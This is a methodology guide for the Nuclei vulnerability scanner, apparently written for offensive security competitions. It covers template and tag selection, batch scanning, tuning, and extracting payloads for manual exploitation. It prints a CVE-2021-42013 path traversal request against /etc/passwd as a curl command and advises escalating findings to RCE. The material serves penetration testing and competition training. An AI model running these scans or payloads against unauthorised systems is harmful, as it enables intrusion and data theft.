nuclei-scan

Nuclei Vulnerability Scanning Methodology

Nuclei is an open-source, template-based vulnerability scanner by ProjectDiscovery. Its core value:Community-maintained template library, each template is a verified PoC, more reliable than constructing your own payload.

Scanning Strategy

Nuclei has 9000+ templates; an unrestricted full scan (nuclei -u target) takes 10-30 minutes—in a competition this is a fatal waste of time. By using -t(specify template directory) or -tags(specify tags) to narrow the scope, a precise scan can usually be completed within tens of seconds.

Additionally, Nuclei's template matching is not 100% accurate; after a critical vulnerability is found, it should be manually reproduced and confirmed to avoid wasting time on false positives.

Phase 1: Precise Scanning (Recommended)

Select corresponding templates based on fingerprinting results rather than scanning everything:

# 1. 按模板 ID / CVE 编号精确扫描（最快，秒级）
nuclei -u http://target -id CVE-2021-44228

2. Filter by product name (tens of seconds)

nuclei -u http://target -t cves/ -tags apache nuclei -u http://target -t cves/ -tags tomcat nuclei -u http://target -t cves/ -tags wordpress

3. Scan only high-severity CVEs (1-3 minutes)

nuclei -u http://target -t cves/ -severity critical,high

4. Scan by vulnerability type

nuclei -u http://target -t vulnerabilities/ -tags rce nuclei -u http://target -t vulnerabilities/ -tags sqli nuclei -u http://target -t vulnerabilities/ -tags lfi


### 常用模板目录

| 目录 | 内容 | 适用场景 |
|------|------|---------|
| `cves/` | 已知 CVE PoC | Zone 2 CVE 验证 |
| `vulnerabilities/` | 通用漏洞检测 | Web 深度测试 |
| `misconfiguration/` | 配置错误 | 云安全、服务加固 |
| `default-logins/` | 默认口令 | 中间件管理后台 |
| `exposures/` | 敏感信息泄露 | 信息收集阶段 |
| `takeovers/` | 子域名接管 | 域名资产攻击 |

## Phase 2: 模板搜索与提取 Payload

当需要手动利用（nuclei 直接扫不出来、需要定制 payload）时，从模板中提取关键信息：

```bash
# 搜索本地模板库
find ~/nuclei-templates/ -name "*CVE-2021-42013*" 2>/dev/null
find ~/nuclei-templates/ -name "*apache*" -path "*/cves/*" 2>/dev/null
find ~/nuclei-templates/ -name "*log4j*" 2>/dev/null

# 按关键词在模板内容中搜索
grep -rl "apache 2.4.49" ~/nuclei-templates/http/cves/ 2>/dev/null
grep -rl "tomcat.*rce" ~/nuclei-templates/http/cves/ 2>/dev/null

# 读取模板提取 payload
cat ~/nuclei-templates/http/cves/2021/CVE-2021-42013.yaml

Interpreting Key Template Fields

# 模板结构示例
id: CVE-2021-42013
info:
  name: Apache HTTP Server Path Traversal
  severity: critical           # ← 漏洞等级
  description: ...             # ← 漏洞描述和利用条件

http:
  - raw:                       # ← 原始 HTTP 请求（可直接提取用于 curl）
      - |
        GET /cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers:                  # ← 成功判定条件
      - type: regex
        regex:
          - "root:.*:0:0:"

    extractors:                # ← 提取的数据（如版本号、密钥）
      - type: regex
        regex:
          - "root:.*"

Extract payloads from templates for manual exploitation：

# 从 raw 字段提取请求路径和方法
cat template.yaml | grep -A5 "raw:" 

# 转换为 curl 命令
curl -s "http://target/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd"

# 如果模板有 POST body
curl -s -X POST http://target/api -d '{"payload": "..."}'

Phase 3: Batch Target Scanning

When there are multiple targets:

# 从文件读取目标列表
echo "http://target1" > targets.txt
echo "http://target2" >> targets.txt
nuclei -l targets.txt -t cves/ -severity critical,high

# 配合 httpx 管道
cat urls.txt | httpx -silent | nuclei -t cves/ -severity critical,high

Phase 4: Result Analysis and Verification

Nuclei output format:

[CVE-2021-42013] [http] [critical] http://target/cgi-bin/.%2e/...
[CVE-2022-26134] [http] [critical] http://target/wiki/%24%7B...%7D

Critical findings must be manually verified：

Reproduce the request reported by nuclei to confirm it is not a false positive
Check whether exploitation conditions are met (e.g., whether mod_cgi is enabled)
Attempt to escalate from information disclosure to RCE

Common Tags Quick Reference

Tag	Description	Example
`cve`	All CVEs	`-tags cve`
`rce`	Remote Code Execution	`-tags rce`
`sqli`	SQL Injection	`-tags sqli`
`lfi`	Local File Inclusion	`-tags lfi`
`ssrf`	SSRF	`-tags ssrf`
`xss`	XSS	`-tags xss`
`default-login`	Default Credentials	`-tags default-login`
`exposure`	Information Disclosure	`-tags exposure`
`apache`	Apache-related	`-tags apache`
`tomcat`	Tomcat-related	`-tags tomcat`
`wordpress`	WordPress	`-tags wordpress`
`jenkins`	Jenkins	`-tags jenkins`
`spring`	Spring Framework	`-tags spring`

Performance Optimization Parameters

# 控制并发（默认 25，目标少时可降低避免被 ban）
nuclei -u http://target -t cves/ -c 10

# 限制速率
nuclei -u http://target -t cves/ -rl 50  # 每秒 50 请求

# 超时设置
nuclei -u http://target -t cves/ -timeout 10

# 只输出发现的漏洞（静默模式）
nuclei -u http://target -t cves/ -silent

# 输出到文件（JSON 格式便于分析）
nuclei -u http://target -t cves/ -json -o results.json